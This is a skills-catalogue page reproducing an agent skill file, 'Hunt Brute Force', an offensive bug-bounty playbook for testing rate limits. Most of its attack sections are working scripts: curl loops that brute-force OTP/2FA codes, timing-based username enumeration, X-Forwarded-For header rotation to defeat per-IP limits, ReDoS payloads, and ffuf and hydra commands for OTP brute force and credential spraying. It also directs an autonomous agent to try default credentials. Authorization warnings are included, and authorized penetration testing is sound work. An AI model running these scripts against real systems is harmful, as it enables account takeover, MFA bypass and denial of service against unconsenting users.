Agent skill

Hunt Brute Force

by sickn33 in sickn33/agentic-awesome-skills

“Hunt Missing/Weak Rate Limiting”

— description from SKILL.md by sickn33
MITAuto-check passedBackend & APIs

Install Hunt Brute Force

skills CLI
$ npx skills add sickn33/agentic-awesome-skills --skill hunt-brute-force -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install sickn33/agentic-awesome-skills hunt-brute-force --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/sickn33/agentic-awesome-skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/hunt-brute-force .claude/skills/hunt-brute-force && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
hunt-brute-force
GitHub stars
47k
Used in
1 other repo
Token cost
~4.9k tokens
SKILL.md length
1,234 words
Files
1
Skills in repo
1,497
Repo updated
First seen
Licence
MIT

At a glance

  • Works in 6 steps: Login Rate Limit Test (classify, don't… → OTP / 2FA Brute Force → Username / Email Enumeration (string AND… → …
  • SKILL.md covers Crown Jewel Targets, Autonomous Testing Priority, CRITICAL: Four rate-limit… and Step-by-Step Hunting Methodology, plus 5 more sections
  • Calls curl and python3

About this skill

Hunt Brute Force is a skill in sickn33/agentic-awesome-skills (47k stars). Its SKILL.md is about 4.9k tokens, and copies of it appear in 1 other owners' repositories. Licence: MIT.

Requirements

  • Compatibility (from SKILL.md): Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.

Workflow steps

6 steps, taken from the step headings in SKILL.md.

  1. Login Rate Limit Test (classify, don't just count 429s)
  2. OTP / 2FA Brute Force
  3. Username / Email Enumeration (string AND status AND timing)
  4. IP / Source Rotation Bypass
  5. Token Entropy (measure it, don't eyeball it)
  6. ReDoS Detection

What it can do on your machine

Read from SKILL.md and the folder at commit b84d35a. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Shell commands in SKILL.md call:

    • curl
    • python3

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Links to these hosts (documentation or services it may open):

    • github.com

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

  • Compatibility

    Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.

    From compatibility in the SKILL.md frontmatter.

Context cost

Hunt Brute Force loads about 4.9k tokens when it runs. Until then it costs about 12 tokens; SKILL.md has 1,234 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~12
When it runs · the whole SKILL.md, loaded when a task matches
~4.9k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from sickn33/agentic-awesome-skills at commit b84d35a, republished under its MIT licence (© sickn33). 1,234 words, ~4,888 tokens.

Download SKILL.mdSave it as .claude/skills/hunt-brute-force/SKILL.md (or your agent's skills folder).
name
hunt-brute-force
description
Hunt Missing/Weak Rate Limiting
compatibility
Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.
category
security
risk
offensive
source
https://github.com/elementalsouls/Claude-BugHunter
source_repo
elementalsouls/Claude-BugHunter
source_type
community
date_added
2026-09-20
license
MIT
license_source
https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
sources
public_research
report_count
6

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration

Grounding note: this skill is built from published technique classes, not from a curated set of named HackerOne reports. report_count is intentionally 0 — do not cite an exact payout or report ID you cannot verify. Where a public case is well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation research, 2019–2021), it is named below as a technique reference, not a payout claim.

Crown Jewel Targets

OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.

Highest-value chains:

  • OTP / 2FA brute → MFA bypass → ATO — no effective rate limit on /verify-otp, full 000000–999999 keyspace reachable
  • Password-reset token brute — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
  • Username/email enumeration → targeted credential stuffing — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
  • Coupon / gift-card / referral code brute — no rate limit on code validation → financial impact
  • ReDoS — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS

Autonomous Testing Priority

Work within your turn budget — prioritize signal over volume.

You cannot brute-force millions of combinations in automated testing. Focus on two things: (1) credential spraying with the most likely candidates, and (2) detecting whether rate limiting exists at all.

Strategy:

  1. Identify the login endpoint and the expected parameter names (username/email, password).
  2. Try weak/default credentials likely for the target context — default admin credentials for the app's stack, simple passwords for test environments, credentials visible elsewhere on the app (e.g. usernames exposed in profiles, default passwords in documentation).
  3. After 3-5 failed attempts, check for rate-limit signals (429 status, "too many attempts" message, CAPTCHA appearance, account lockout message). Absence of these = rate limiting is missing = vulnerability.
  4. Use form-encoding for traditional login forms, JSON for REST API login endpoints.

What to look for as success:

  • Session token or JWT in the response body or Set-Cookie header
  • Redirect to authenticated dashboard
  • Response body that differs from the failed-login baseline

Username enumeration (separate finding): Try a known-valid username vs a random one. If the error message differs ("Wrong password" vs "User not found") or response time differs → user enumeration vulnerability, even without a successful login.


CRITICAL: Four rate-limit states — do not collapse them

A 200/401 with no 429 does not mean "no rate limiting". A rate-limiting skill that only checks for 429/lockout produces false negatives. Classify the defense BEFORE concluding, by sending a burst of ~50 requests and watching the full response (status, body, headers, latency, and downstream success):

StateSignalBrute still feasible?
Hard account lockoutaccount disabled after N fails; later correct creds also failNo (but lockout itself can be a DoS finding)
Soft IP throttle429 / increasing latency keyed on source IP onlyYes — bypass via header/IP rotation (Phase 4)
CAPTCHA injection200 but body switches to a CAPTCHA challenge after NMaybe — check if the verify endpoint enforces it server-side or if the API path skips it
Silent shadow-throttle200/401 returned for every request, but submissions are dropped — the genuinely-correct OTP/password stops being accepted, or responses become cannedThis is the trap. A naive loop sees "all 200, no 429" and reports "no rate limit" — false.

Shadow-throttle detector — inject a known-good value at a known position and confirm it still works under load:

bash
# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456"   # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
  CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
  CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
    -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}")
  echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.

Step-by-Step Hunting Methodology

Phase 1 — Login Rate Limit Test (classify, don't just count 429s)
bash
# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
  read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
    -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
  echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
  sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
#   - status flips to 429 / 403  → soft throttle or lockout
#   - body grows / CAPTCHA token appears → CAPTCHA injection
#   - latency climbs while status stays 401 → shadow throttle
#   - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)
Phase 2 — OTP / 2FA Brute Force
bash
# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"

# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
  RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
  echo "$CODE: $RESP"
  [ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.

# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
#   - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
#   - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
#   - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
#     Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
#     code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.
Phase 3 — Username / Email Enumeration (string AND status AND timing)
bash
VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"

# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
  curl -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
    -X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
    -d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
     <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.

# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:";   for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.

# Reset + registration enumeration
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER"   | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/api/register"   -d "email=$VALID_USER"    | grep -i "exist\|taken\|already"
Phase 3b — Unthrottled registration (mass account creation)

An unrate-limited signup endpoint is an abuse finding on its own, not just an enumeration oracle: burst */signup/*/register (rotate email + source per request) and confirm N accounts are actually created with no 429/CAPTCHA/lockout → automated mass-account creation (spam, promo/referral abuse, resource exhaustion). Low–Medium standalone; higher when it chains to a paid/limited resource. Disclosed: reports/2915502.

Show full SKILL.md (467 more words)Show less
Phase 4 — IP / Source Rotation Bypass
bash
# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
          "X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
  RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
  ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
  RESP=$(curl -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
  echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("1.2.3.4, 5.6.7.8"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.
Phase 5 — Token Entropy (measure it, don't eyeball it)
bash
# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
  curl -s -X POST "https://$TARGET/forgot-password" -d "email=your-test@email.com"
  # Extract token from the email/link and append to tokens.txt
  sleep 2
done

# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
  python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"

# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt

# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}'   # constant/small delta = counter-based

# 4) DEFINITIVE tool: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
#    response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
#    < ~64 effective bits on a security token is a finding; the brute-window math follows.
Phase 6 — ReDoS Detection
bash
# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
  INPUT=$(python3 -c "print('a'*$LEN + '!')")              # for (a+)+$  /  (a|a)*$ style regex
  T=$(curl -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
  echo "len=$LEN -> ${T}s"
done
# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
# blow-up is regex-driven, not size-driven.

Automation

bash
# ---- ffuf: OTP brute ----
# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
  -H "Content-Type: application/json" -H "Cookie: session=SESSION" \
  -d '{"otp": "FUZZ"}' \
  -w <(seq -f "%06g" 0 100) \
  -mc all -ac \
  -rate 50            # cap throughput so YOU can read the rate-limit response, not DoS the target

# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
#   seq -f "%06g" 0 999999 > /tmp/otp_full.txt   (then -w /tmp/otp_full.txt)
# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.

# ---- hydra: login spray ----
hydra -l admin@target.com -P ~/wordlists/top-1000.txt "$TARGET" \
  http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4

# ---- nuclei: rate-limit / default-cred templates ----
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical

Chain Table

FindingChain toImpact
No effective rate limit on OTP (full 10^6 reachable)MFA bypass → ATOCritical
Password-reset code brute + IP rotationReset → ATO (Instagram-2019 class)Critical
No rate limit on login + enumerationCredential stuffing with breach corpusHigh
IP bypass via X-Forwarded-For et al.Every per-IP limit on the app defeatedHigh
Predictable / low-entropy reset tokenToken guess within validity window → ATOHigh
ReDoS on a public input fieldSingle-request CPU exhaustion → DoSMedium–High
Hard lockout triggerable by attackerTargeted account DoS (lock victim out)Medium

Validation — false-positive discipline

Before writing the report, each must hold:

  • OTP/login "no rate limit": confirmed against ALL FOUR states — not just absence of 429. Shadow-throttle seed test passed (the known-good value still authenticates under burst load). Latency and body-size were monitored, not only status code.
  • Full-keyspace claim: severity is justified by the reachability math (throughput × code-lifetime vs 10^6), not by a 101-code probe. State the numbers in the report.
  • Enumeration: difference is reproducible across ≥20 samples and is a server-state difference (valid vs invalid user), not a server-policy artifact (e.g. a generic "if this email exists we sent…" message is NOT enumeration). For timing, compare medians of many samples, never single requests.
  • IP-rotation bypass: proven by toggling rotation off and showing the 429 returns. The delta IS the proof; one fast run alone is not.
  • Token entropy: backed by an actual measurement (Burp Sequencer effective-bits, ent, or a demonstrated counter/timestamp structure), not "looks short".
  • ReDoS: super-linear (doubling) latency growth with a benign-control comparison; linear ≠ ReDoS.
  • Scope/impact: did you reach a real outcome (authenticated session, leaked account list, DoS)? A rate-limit gap with no reachable impact is informational, not Medium.

Severity:

  • Effective brute of OTP/MFA/reset-code → demonstrated ATO path: Critical
  • No login rate limit + working credential-stuffing/IP-bypass: High
  • Predictable security token (measured low entropy): High
  • Username/email enumeration alone: Low–Medium
  • ReDoS with reproducible meaningful server lag: Medium–High
  • Attacker-triggerable hard lockout (account DoS): Medium

When to Use

  • You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
  • You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

Limitations

  • Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
  • Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
  • Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.
Example
bash
# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

© sickn33, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/hunt-brute-force of sickn33/agentic-awesome-skills.

Open the folder on GitHubat commit b84d35a

Used in 1 other repository

We found 5 copies of this SKILL.md (exact, near-identical or edited) in other folders, from 1 other GitHub owner. This page covers the copy in sickn33/agentic-awesome-skills, which our catalogue first saw on October 7, 2026.

Compare with similar skills

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    Keeps project decisions, research and verified results available across coding-agent sessions through LWC memory, a document Wiki graph and a CodeGraph code index.

    47k GitHub starsUsed in 1 repo~2k tokens
    Auto-check passed
  • Find Complementary Founders

    sickn33/agentic-awesome-skills

    Guides an agent through assessing its own owner for cofounder fit, publishing an approved profile, and ranking complementary profiles other agents published for their owners.

    47k GitHub starsUsed in 1 repo~4.8k tokens
    Auto-check passed
  • Whatsapp Cloud API

    sickn33/agentic-awesome-skills

    Integracao com WhatsApp Business Cloud API (Meta). An agent skill from sickn33/agentic-awesome-skills.

    47k GitHub starsUsed in 2 repos~4.5k tokens
    Auto-check passed
  • Cline Pilot

    sickn33/agentic-awesome-skills

    Acts as a proxy for the Cline CLI, dispatching coding tasks one at a time, monitoring runs by hard evidence, relaying decisions to you and learning per-project preferences.

    47k GitHub starsUsed in 1 repo~4.6k tokens
    Auto-check passed

Categories

Questions about Hunt Brute Force

How do I install Hunt Brute Force in Claude Code?

Run `npx skills add sickn33/agentic-awesome-skills --skill hunt-brute-force -a claude-code`. Or copy the skill folder (skills/hunt-brute-force in sickn33/agentic-awesome-skills) into .claude/skills/hunt-brute-force in your project. Claude Code loads it when a task matches its description.

How do I install Hunt Brute Force in Codex?

Run `npx skills add sickn33/agentic-awesome-skills --skill hunt-brute-force -a codex`. Or copy the skill folder (skills/hunt-brute-force in sickn33/agentic-awesome-skills) into .agents/skills/hunt-brute-force in your project. Codex loads it when a task matches its description.

Can I use Hunt Brute Force in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add sickn33/agentic-awesome-skills --skill hunt-brute-force -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/hunt-brute-force, .gemini/skills/hunt-brute-force, .github/skills/hunt-brute-force and .opencode/skills/hunt-brute-force in your project.

What does Hunt Brute Force need to run?

Going by SKILL.md and its folder, Hunt Brute Force needs the command-line tools its instructions call (curl and python3). Compatibility (from SKILL.md): Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled..

Does Hunt Brute Force access the network?

SKILL.md names 1 domain. As links in the text: github.com. This is read from the text; nothing was executed.

Is Hunt Brute Force safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Hunt Brute Force use?

Hunt Brute Force is published under the MIT licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Hunt Brute Force use?

About 4.9k tokens (SKILL.md is roughly 20k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Hunt Brute Force?

Skills that share tags, products or a category with Hunt Brute Force: Add Hosted Key (simstudioai/sim, 30k stars), Upstash Ratelimit TS (upstash/ratelimit-js, 2k stars), Repo2skill (zhangyanxs/repo2skill, 246 stars) and Better Auth Security Best Practices (EpicenterHQ/epicenter, 4.8k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Hunt Brute Force?

sickn33 (a GitHub user) maintains it in sickn33/agentic-awesome-skills, which has 47,405 GitHub stars. The repository holds 1,497 skills in this directory. The repository was last updated on October 9, 2026.

Source: sickn33/agentic-awesome-skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.